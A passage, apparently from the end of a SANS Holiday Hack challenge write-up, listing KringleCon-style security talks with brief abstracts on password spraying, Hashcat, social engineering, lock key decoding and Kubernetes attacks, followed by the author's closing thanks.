Credentials are vital in that they provide access to data and services that would otherwise be inaccessible. Password attacks are at the forefront of techniques used by attackers trying to gain access to a network. A common password attack is to brute force credentials with thousands of login attempts. This can quickly lockout accounts in environments where account lockout policies are in place. Password spraying is a method for getting around this obstacle. In this introductory-level talk Beau Bullock @dafthack describes what password spraying is, and what tools can be utilized to perform this attack. A method for evading attribution is discussed as well.
Location: Track 6
Click here to watch this talk!
Evil Clouds
Speaker(s): John Strand
Location: Track 1
Click here to watch this talk!
Hacking Dumberly Not Harderer
Speaker(s): Tim Medin
Location: Track 7
Click here to watch this talk!
How Would I Hack You: Social Engineering Step-by-Step
Speaker(s): Rachel Tobac
The majority of cyber attacks now start with the human element. In Rachel's talk, How I Would Hack You: Social Engineering Step by Step, Rachel walks through the human behavior exploits that criminals use to gain access to your data, money and systems. Learn how social engineers pick targets, choose pretexts (who they pretend to be), and leverage your 6 principles of persuasion to infiltrate systems. You'll get to watch real life social engineering attacks and learn how to keep your family, company, friends, and coworkers safe from criminals looking to exploit you to get to your data.
Location: Track 2
Click here to watch this talk!
Intro to Hashcat
Speaker(s): Jon Gorenflo
Drop in for a short introduction to using Hashcat for password cracking! Learn a little history of the tool, the difference between CPU and GPU password cracking, and the basic attack modes Hashcat offers. I’ll wrap up the talk with a brief demo of the different attack modes that displays the password candidates to the screen so you can see and understand how the different attack modes work. Download the slides and check the notes on the last slide for a basic Hashcat cheat sheet!
Location: Track 6
Click here to watch this talk!
Key Decoding
Speaker(s): Deviant Ollam
Many people think that opening a lock when you're not explicitly authorized to involves the use of lockpicks. But why try to manipulate a lock when you could just use the proper key for it? While those who love lockpicking may shout "Fantasy" "Lunacy!" or "Heresy!" at this notion, trust me... it's true!
Producing a brand new working key for a lock doesn't require magic or mystery... all you need is the bitting code of the lock. And where would you seek out such a code? By taking a quick glance at a genuine, original key for the lock! Now you don't have to steal the key... you wouldn't want to wind up on Santa's naughty list! But by merely handling the original key for a moment (or even by simply photographing the key) it's possible to totally decode it within seconds.
Deviant will show you all how this works and publicly release tools that you can use to perform attacks like this yourself! Good luck and Happy Holidays!
Location: Track 5
Click here to watch this talk!
HTTP/2 - Because 1 is the Loneliest Number
Speaker(s): Chris Elgee and Chris Davis
Have you taken a dive into HTTP/2 yet? Chances are: you're using it more than you think already. Most major websites and all current browsers use it by default. Let's talk about this ubiquitous technology so we can better understand, test, and troubleshoot this protocol.
Location: Track 2
Click here to watch this talk!
Malware Zoo
Speaker(s): John Strand
Location: Track 7
Click here to watch this talk!
PCAP for Fun and Profit
Speaker(s): Mike Poor
PCAP for fun and profit will discuss common tools and uses for packet capture, packet analysis and packet crafting. Whether you are a pentester or investigator, packet tools are your friend. Use them to pull credentials off the wire, sling packets or look for new machines to pwn.
Location: Track 4
Click here to watch this talk!
Pivoting: SSH
Speaker(s): Derek Rook
Pen test targets behind a firewall and all you have is SSH access to a single foothold? Need to monitor systems at home while you're traveling? Fret no longer! We discuss the most useful SSH flags in existence and show you how to impress your friends with mind bendy SSH magic!
Location: Track 1
Click here to watch this talk!
PowerShell for Pen Testing
Speaker(s): Mick Douglas
Location: Track 6
Click here to watch this talk!
Quick Intro Attacking a Kubernetes Cluster
Speaker(s): Jay Beale
In this talk, @InGuardians CTO Jay Beale will show you one attack path on a Kubernetes cluster, starting from when you compromise a program running on one, and ending with complete compromise of the cluster. Come learn how to attack Kuberenetes!
Location: Track 5
Click here to watch this talk!
Smartphone Forensics: Why Building a Toolbox Matters
Speaker(s): Heather Mahalik
In the world of forensics, mobile device investigations could be the most complicated of all. Ever changing technology guarantees that when it comes to you and your forensic tools, there is no such a thing as a monogamous relationship. There are a plethora of mobile forensics tools available to make your job easier, but do they? What happens when the tool cannot support an application relevant to your investigation? What happens when the tools disagree about an artifact and the results don’t match? What happens if the user upgraded the OS on their device and your tool cannot support it? What do you do? In this talk, Heather Mahalik will discuss the importance of using multiple tools during mobile device investigations, how a simple upgrade can wreak havoc on your investigation, but most importantly, how success depends on you, as you perform manual verifications and confirm your forensic tools are presenting data correctly.
Location: Track 5
Click here to watch this talk!
Sneaking Secrets from SMB Shares
Speaker(s): Katie Knowles
You're in the network, you've got credentials, and your in-depth scans are running. What's next to compromise the Whoville domain? We'll cover a simple, sneaky look at uncovering common secrets hidden in the SMB file shares you might encounter on a test. Between user secrets and administrative misconfigurations, you'd be surprised what you might find!
Location: Track 4
Click here to watch this talk!
Software Defined Radio: The New Awesome
Speaker(s): Larry Pesce
A brief look at Software Defined Radio platforms and how they can expose us new wireless protocols. We'll examine a few interesting software packages (with demos) to begin our exploration of the RF spectrum. We'll also discuss what the advent of SDR can change the landscape for C&C, data exfiltration and information gathering.
Location: Track 1
Click here to watch this talk!
The Secret to Building Community
Speaker(s): Jack Daniel
Jack Daniel, one of the founders of the BSides Community speaks about how to build community and the importance of giving people a voice and a platform to share ideas.
Location: Track 1
Click here to watch this talk!
Web App 101: Getting the Lay of the Land
Speaker(s): Mike Saunders
Mike Saunders gives an introduction to web app pen testing with stories of why you should cover the basics in the beginning to save your self a lot of grief in the end.
Location: Track 7
Click here to watch this talk!
Some after words
Someone may think that it's a lot of text for some not so complicated vulnerabilities. But we learn by doing, and I learnt a lot of things along this journey. I think that the amount of work spent to create such a challenge deserves the amount of work spent to present a solution. And I did my best to write one which may in turn teach something to someone else. Hope it will be the case.
Thanks to Ronan who gave me the motivation to do this challenge.
And a great "Thank you" to the SANS institute and the CounterHack teams who produced an outstanding challenge. It was a real pleasure to try to solve it !
Infosec world is a great place to work. Don't forget to teach assembly to your children !
In memory of Fravia who inspired all of us.